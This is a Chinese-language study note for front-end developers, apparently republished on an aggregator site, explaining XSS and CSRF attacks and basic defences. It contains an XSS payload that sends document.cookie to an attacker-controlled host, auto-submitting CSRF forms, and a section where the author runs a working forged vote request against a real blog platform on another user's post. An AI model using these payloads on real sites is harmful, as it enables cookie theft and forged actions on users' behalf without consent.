Web 学习笔记 - 网络安全

embedded/2024/11/27 22:15:13/

前言

作为 前端开发者，了解一点 Web 安全方面的基本知识是有很必要的，未必就要深入理解。本文主要介绍常见的网络攻击类型，不作深入探讨。

正文

网络攻击的形式种类繁多，从简单的网站敏感文件扫描、弱口令暴力破解，到 SQL 注入，再到复杂的网络劫持等，种类万千。

本文只介绍以下两种攻击：

  • XSS 攻击
  • CSRF 攻击

XSS 攻击

XSS，跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为 XSS。恶意攻击者往Web页面里插入恶意 Script 代码，当用户浏览该页之时，嵌入其中 Web 里面的 Script 代码会被执行，从而达到恶意攻击用户的目的。

XSS 攻击实现的方式和 SQL 注入有点类似，是一种基于 DOM 结构的攻击。利用网站对用户输入、请求参数没有验证，在参数中构造恶意 JavaScript 脚本，嵌入页面运行，从而达到攻击的目的。

如果再细分，XSS 可分成以下三种：

  1. DOM-based XSS（基于 DOM的 XSS 攻击）
  2. Stored XSS（基于存储的 XSS 攻击）
  3. Reflected XSS（基于反射的 XSS 攻击）

这三种方式大同小异，这里不做细分。

简单示例

举个例子：

某网站的某个页面（http://example.com/page）是这样实现的：

<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title></title>
</head>
<body>
文章内容：<%= request.getParameter("content") %>
</body>
</html>

我们在浏览器打开连接：http://example.com/page?content=<script>alert('Hello world')</script>，就可以看到一个 Hello world 的弹窗。

只要能在页面插入可运行的脚本，那么就可以做很多事。比如获取页面的某些信息，发送到自己的服务器。或者获取网站的 Cookie。

攻击者搭建了一个网站，写了个页面或接口：http://me.com?param=xxx。只要有人访问这个页面，服务端就能把 param 参数保存在数据库。

然后再构造另一个链接：http://example.com/page?content=<script>window.open('me.com?param' + document.cookie)</script>

只要有人打开这个链接，就能把浏览器在 example.com 上的 cookie 保存到攻击者的服务器。剩下的事就是诱导点击，等着鱼上钩了。

XSS 防御

要做好 XSS 防御，主要是不要相信用户的输入，对所有的请求参数做检查。

使用富文本时，使用XSS规则引擎进行编码过滤。

当然，很多时候是不能过滤掉标签的，像博客园这样的网站，用户经常发代码，不能过滤掉，只能进行转码再显示：

CSRF

什么是 CSRF

CSRF（Cross-site request forgery跨站请求伪造，也被称为“one click attack” 或者 session riding，通常缩写为 CSRF 或者 XSRF，是一种对网站的恶意利用。

简单地说，就是攻击者盗用了你的身份，以你的名义发送恶意请求。

简单示例

举个栗子。

某博客网站用户登录后，可以给其他用户点赞。点赞的 API 接口是 http://example.com/like?user_id=xxx，并且这是一个 GET 请求接口。

A 是一个虚荣的程序员，为了赞丧心病狂。他的用户 ID 是 1234。于是他构造了一个这样的 URL：http://example.com/like?user_id=1234。

很显然，只要其他用户在博客网站登陆了，并且用户的浏览器请求了这个 URL，那么 A 就能得到一个赞。

接着，他在博客网站写了一篇文章《程序员 30 天学会把妹技巧》，文章里插入这样的一张图片：

<img src="http://example.com/like?user_id=1234">

我们知道，浏览器对于图片请求是默认允许的。于是，当已登陆用户浏览他的文章时，A 就会获得一个赞。

以上示例可以看出，GET 请求的安全性是很低的。当然，这里使用 GET 请求不符合 HTTP 规范。

升级版示例

好景不长，某天，网站管理员忽然发现有一篇文章的赞数高得令人发指，文章质量却是惨不忍睹，很是可疑。看到底部，卧槽，自己竟然也点了推荐？于是赶忙叫程序员加班，把接口改成 POST 请求，修复了这个漏洞。

然并卵，这依然难不倒 A。于是他写了这段代码，放在他自己的站点上。

<html>
<head><meta charset="utf-8"><title></title>
</head>
<body>
<form id="form" method="POST" action="http://example.com/like"><input type="hidden" name="user_id" value="1234">
</form>
<script>var form = document.getElementById('form')form.submit()
</script>
</body>
</html>

诱导点击是一个 CSRF 攻击的常用手段之一。于是他在文章写下：

深夜福利，有图有真相，请戳 http://laosiji.com。

没过多久，他的 ID 就被管理员封了。

真实示例

学以致用一直是我学习的常用方法之一。今天就拿博客园来做实验。

注意，以下示例仅供学习参考！

浏览器打开开发者工具，点击这篇文章下面的推荐按钮（请点击后再往下阅读），便可以看到博客园推荐 API 的地址是：

POST http://www.cnblogs.com/mvc/vote/VoteBlogPost.aspx
参数说明
blogApp用户名（页面 URL 中可以看到）
postId文章 ID（页面 URL 中可以看到）
voteTypeDigg（赞、顶、推荐的意思）
isAbandonedfalse（不懂）

然后写个静态页面，放在你的服务器上：

<html>
<head><meta charset="utf-8"><title>深夜福利，有图有真相</title>
</head>
<body>
<form id="form" method="POST" action="http://www.cnblogs.com/mvc/vote/VoteBlogPost.aspx"><input type="hidden" name="blogApp" value="smallchen"><input type="hidden" name="postId" value="7424994"><input type="hidden" name="voteType" value="Digg"><input type="hidden" name="isAbandoned" value="false">
</form>
<script>var form = document.getElementById('form')form.submit()
</script>
</body>
</html>

因为不能推荐自己，我把 blogApp 和 postId 改成其他人的文章来测试。然后登录博客园，在服务器环境下打开页面，显示：

{"Id":0,"IsSuccess":true,"Message":"推荐成功","Data":null}

如果未登录，则会提示：

{"Id": 0,"IsSuccess": false,"Message": "请先<a href='javascript:void(0);' onclick='login()'>登录</a>","Data": null
}

刷新文章页面，嗯~，确实推荐成功了！

如果你不需要赞，想要好评，也是可以滴。你可以在这篇文章下面写个好评，看看开发者工具的调试信息。

可以看出接口是：

POST http://www.cnblogs.com/mvc/PostComment/Add.aspx
参数说明
blogApp用户名
postId文章 ID
parentCommentId0
body评论内容

相关代码：（注：完成这篇文章后发现这段代码不起作用，因为表单提交的方式不同，好像涉及到 request payload 相关的知识，我也不懂。这段代码就不删了。）

<html>
<head><meta charset="utf-8"><title>深夜福利，有图有真相</title>
</head>
<body>
<form id="form" method="POST" action="http://www.cnblogs.com/mvc/vote/VoteBlogPost.aspx"><input type="hidden" name="blogApp" value="smallchen"><input type="hidden" name="postId" value="7424994"><input type="hidden" name="parentCommentId" value="0"><input type="hidden" name="body" value="卧槽，我中招了！">
</form>
<script>var form = document.getElementById('form')form.submit()
</script>
</body>
</html>

当然，你也可以做点其他事情，比如：[根据法律法规，此处无法显示]。

CSRF 防御
  • 通过 referer、token 或者 验证码 来检测用户提交。
  • 尽量不要在页面的链接中暴露用户隐私信息。
  • 对于用户修改删除等操作最好都使用post 操作 。
  • 避免全站通用的cookie，严格设置cookie的域。

http://www.ppmy.cn/embedded/141017.html

相关文章

面试学习准备

面试学习准备

根据面试题web前端面试 - 面试官系列 里面的题目学习巩固。 1.vue2 组件通信 EventBus&#xff1a; 讲解 全局事件总线&#xff0c;核心思想是通过发布-订阅模式来实现组件之间的通信 在 Vue 2 中&#xff0c;可以直接使用 Vue 实例作为 EventBus。 使用方法&#xff1a;在…
阅读更多...
C++设计模式-策略模式-StrategyMethod

C++设计模式-策略模式-StrategyMethod

动机&#xff08;Motivation&#xff09; 在软件构建过程中&#xff0c;某些对象使用的算法可能多种多样&#xff0c;经常改变&#xff0c;如果将这些算法都编码到对象中&#xff0c;将会使对象变得异常复杂&#xff1b;而且有时候支持不使用的算法也是一个性能负担。 如何在运…
阅读更多...
UE4 iOS Package的过程与XCode工程中没有游戏Content的原因

UE4 iOS Package的过程与XCode工程中没有游戏Content的原因

疑问 我观察XCode工程时&#xff0c;没有看到包含游戏Content或Content的Pak&#xff0c;为此研究代码 Package流程示意图 下面是若干步骤的解释&#xff1a; &#xff08;40&#xff09;日志见&#xff1a; 文档&#xff1a;子页&#xff1a; IOSPlatform.PrepForUATPackag…
阅读更多...
8K超高清相机+双光谱融合技术

8K超高清相机+双光谱融合技术

8K超高清相机 双光谱融合技术
阅读更多...
C语言超详细教程

C语言超详细教程

系列文章目录 文章目录 系列文章目录1 运算符1.1 算术运算符：2 控制语句2.1 条件语句：2.2 循环语句：3 函数3.1 函数的定义与声明：3.2 递归函数：4 指针4.1 指针的定义与使用函数指针：5. 数组与字符串5.1 数组一维数组：相同类型元素的集合（如：多维数组：数组的数组（如：…
阅读更多...
Linux——基础命令（1）

Linux——基础命令（1）

目录 一、认识Linux 终端命令格式 查阅命令帮助信息 -help 辅助操作 自动补全 清屏和查看当前工作目录 二、基本命令 文件和目录常用命令 1.ls-查看文件与目录 2.cd切换目录 &#xff08;1&#xff09;touc创建文件或修改文件时间 &#xff08;2&#xff09;mkdir创…
阅读更多...
《剖析 Spring 原理：深入源码的旅程（一）》

《剖析 Spring 原理：深入源码的旅程（一）》

一、Spring 工作原理概述 Spring 是一个全面的企业应用开发解决方案&#xff0c;它通过控制反转&#xff08;IOC&#xff09;和面向切面编程&#xff08;AOP&#xff09;等技术&#xff0c;实现了轻量级、灵活的开发模式。Spring 框架由多个模块组成&#xff0c;包括核心容器、…
阅读更多...
利用DeepFlow解决APISIX故障诊断中的方向偏差问题

利用DeepFlow解决APISIX故障诊断中的方向偏差问题

概要&#xff1a;随着APISIX作为IT应用系统入口的普及&#xff0c;其故障定位能力的不足导致了在业务故障诊断中&#xff0c;APISIX常常成为首要的“嫌疑对象”。这不仅导致了“兴师动众”式的资源投入&#xff0c;还可能使诊断方向“背道而驰”&#xff0c;从而导致业务故障“…
阅读更多...
最新文章

Copyright @ 2022~2023